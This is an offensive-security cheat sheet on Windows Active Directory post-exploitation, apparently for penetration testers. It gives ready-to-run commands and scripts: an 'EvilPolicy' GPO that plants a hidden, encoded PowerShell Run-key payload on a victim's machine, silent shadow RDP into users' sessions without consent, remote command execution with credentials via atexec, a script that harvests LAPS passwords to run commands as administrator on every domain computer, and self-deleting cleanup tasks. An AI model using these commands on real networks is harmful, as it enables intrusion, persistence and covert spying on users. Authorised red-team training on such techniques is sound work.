# Post Exploitation

## GPOs

Identify the OU containing the `VICTIM-PC` object:

```
PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"
PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName
```

Create a GPO using GPMC:

1. Run > `gpmc.msc`.
2. Create a new GPO in the OU in which `VICTIM-PC` resides.
3. Remove `Authenticated Users` from **Security Filtering** and add `VICTIM-PC` there.
4. Link it to the OU and edit it.

Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:

```
Cmd > gpudate.exe /force
```

{% tabs %}
{% tab title="Enable RDP" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
              Connections
                Allow users to connect remotely using Remote Desktop Services
                  Enabled, OK
```

{% endtab %}

{% tab title="Allow RDP Connections" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Windows Settings
        Security Settings
          Windows Defender Firewall with Advanced Security
            Inbound Rules
              (right-click) New Rule
                Predefined (Remote Desktop)
		          Allow the connection, Finish
```

{% endtab %}

{% tab title="Edit Local Administrators Membership" %}

```
<POLICY_NAME>
  Computer Configuration
    Preferences
      Control Panel Settings
        Local Users and Groups
          (right-click) New > Local Group
            Group name (...)
              Members (Add), OK
                Apply, OK
```

{% endtab %}

{% tab title="Enable Shadow RDP" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
              Connections
                Set rules for remote control of Terminal Services user sessions
                  Enabled + Options (Full Control without user's permission), OK
```

{% endtab %}

{% tab title="Immediate Scheduled Task" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Preferences
        Control Panel Settings
          Scheduled Tasks
            (right-click) New > Immediate Task (At least Windows 7)
```

{% endtab %}
{% endtabs %}

### Reach a Locked-down Domain Computer

* [How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios](https://www.sparcflow.com/best-hacking-books/)

If you find yourself in a situation when you're already a domain admin and you need to access a locked-down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil GPO may help.

Create a GPO using PowerShell (will trigger a command when the victim user logs in):

```
PS > Add-WindowsFeature -Name "GPMC"
PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain megacorp.local -Server DC01.megacorp.local
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim.user" -TargetType User
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-PC" -TargetType Computer
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users" -TargetType Group
PS > New-GPLink -Name EvilPolicy -Domain megacorp.local -Target "<TARGET_OU>" -Order 1 -Enforced Yes
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName MSstart -Type String -Value "powershell.exe -NoP -sta -NonI -W Hidden -Exec Bypass -Enc <BASE64_CMD>"
```

Enable ADMIN shares manually by restoring [AutoShareServer](https://learn.microsoft.com/ru-ru/troubleshoot/windows-server/networking/remove-administrative-shares):

```
$ atexec.py -nooutput megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 1 /f && net stop server && net start server'
```

### Shadow RDP

* <https://swarm.ptsecurity.com/remote-desktop-services-shadowing/>
* <https://winitpro.ru/index.php/2014/02/12/rds-shadow-v-windows-2012-r2/>
* <https://darkbyte.net/autordpwn-la-guia-definitiva/>
* <https://github.com/JoelGMSec/AutoRDPwn>

Enable Shadow RDP via group policies or by manually setting the registry and connect to an active session on the target machine.

Enable:

```
Cmd > reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 (or 2 for mstsc /control) /f
Cmd > netsh advfirewall firewall set rule name="Remote Desktop - Shadow (TCP-In)" new enable=yes
Cmd > netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" new enable=yes
PS > New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -PropertyType "DWORD" -Value 4 (or 2 for mstsc /control) -Force
PS > Enable-NetFirewallRule RemoteDesktop-Shadow-In-TCP
PS > Enable-NetFirewallRule FPS-SMB-In-TCP*
```

Shadow the RDP:

```
Cmd > qwinsta.exe /server:192.168.1.11
Cmd > mstsc.exe /v:192.168.1.11 /shadow:<ID> /noConsentPrompt [/control]
```

Cleanup:

```
Cmd > reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /f
Cmd > netsh advfirewall firewall set rule name="Remote Desktop - Shadow (TCP-In)" new enable=no
Cmd > netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" new enable=no
PS > Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -Force
PS > Disable-NetFirewallRule RemoteDesktop-Shadow-In-TCP
PS > Disable-NetFirewallRule FPS-SMB-In-TCP*
```

#### RpcShadow2

* <https://red.c3r3br4t3.com/red-team-operations/lateral-movement/shadowrdp>
* <https://github.com/c3r3br4t3/ShadowRDP>
* <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/4c6481f4-a1cc-4c76-abc1-3ece834e6451>
* <https://learn.microsoft.com/en-gb/windows/win32/api/rdpencomapi/nn-rdpencomapi-irdpsrapisharingsession>
* <http://www.rohitab.com/discuss/topic/41626-rdp-com-server-client/>

## Run on Domain Computers

* [How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios](https://www.sparcflow.com/best-hacking-books/)

An example PowerShell script to execute commands as a local admin on all domain computers pulling LAPS passwords automatically:

{% code title="ADComputersCmd.ps1" %}

```powershell
 # Save with Encoding "UTF-8 with BOM"

[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"

$command = '[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8; '
$command += 'whoami > C:\Windows\Temp\whoami.txt 2>&1'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$_.name -ne $(hostname)} | select name,ms-Mcs-AdmPwd | ForEach-Object {
	$comp = $_."name"
	$pass = $_."ms-Mcs-AdmPwd"

	if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {
		try {
			$cred = New-Object System.Management.Automation.PSCredential("$comp\administrator", $(ConvertTo-SecureString $pass -AsPlainText -Force))
			$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc $encodedCommand") -ComputerName $comp -Credential $cred

			do {
				Write-Host -ForegroundColor Green "[*] Waiting for script to finish on $comp"
				Start-Sleep -Seconds 2
			} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc.ProcessId" -ComputerName $comp -Credential $cred | where {$_.ProcessId -eq $proc.ProcessId}).ProcessId -eq $null)

			net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null
			Get-Content "\\$comp\C$\Windows\Temp\whoami.txt"
			Remove-Item "\\$comp\C$\Windows\Temp\whoami.txt" -Force
			net use "\\$comp" /delete 2>&1 | Out-Null
		}
		catch {
			Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
		}
	}
	else {
		Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"
	}
}
```

{% endcode %}

## Locate DFS Targets

Locate a root target:

```
Cmd > dfsutil root \\megacorp.local\MyShare
PS > Get-DfsnRootTarget \\megacorp.local\MyShare
```

Locate a root folder:

```
PS > Get-DfsnFolderTarget \\megacorp.local\MyShare\Documents
```

One-liner:

```
PS > Get-DfsnRoot | % {Get-DfsnFolder ($_.Path + "\*")} | % {Get-DfsnFolderTarget $_.Path} | ft -AutoSize
```

## House Cleaning

Remove the last tunnel while operating from it:

{% tabs %}
{% tab title="Operator" %}
{% code title="ScheduledTask.ps1" %}

```powershell
$ScriptPath = "C:\Windows\System32\cleanup.ps1"
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$ScriptPath`""
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(2)
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Minutes 10)
Register-ScheduledTask -TaskName "Pentest Cleanup" -TaskPath "Microsoft\Windows\" -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -Force -ErrorAction Stop
```

{% endcode %}
{% endtab %}

{% tab title="Cleanup Script" %}
{% code title="cleanup.ps1" %}

```powershell
# ... cleanup routines ...
Unregister-ScheduledTask -TaskName "Pentest Cleanup" -TaskPath "Microsoft\Windows\" -Confirm:$false
Remove-Item -Path $MyInvocation.MyCommand.Path -Force
```

{% endcode %}
{% endtab %}
{% endtabs %}
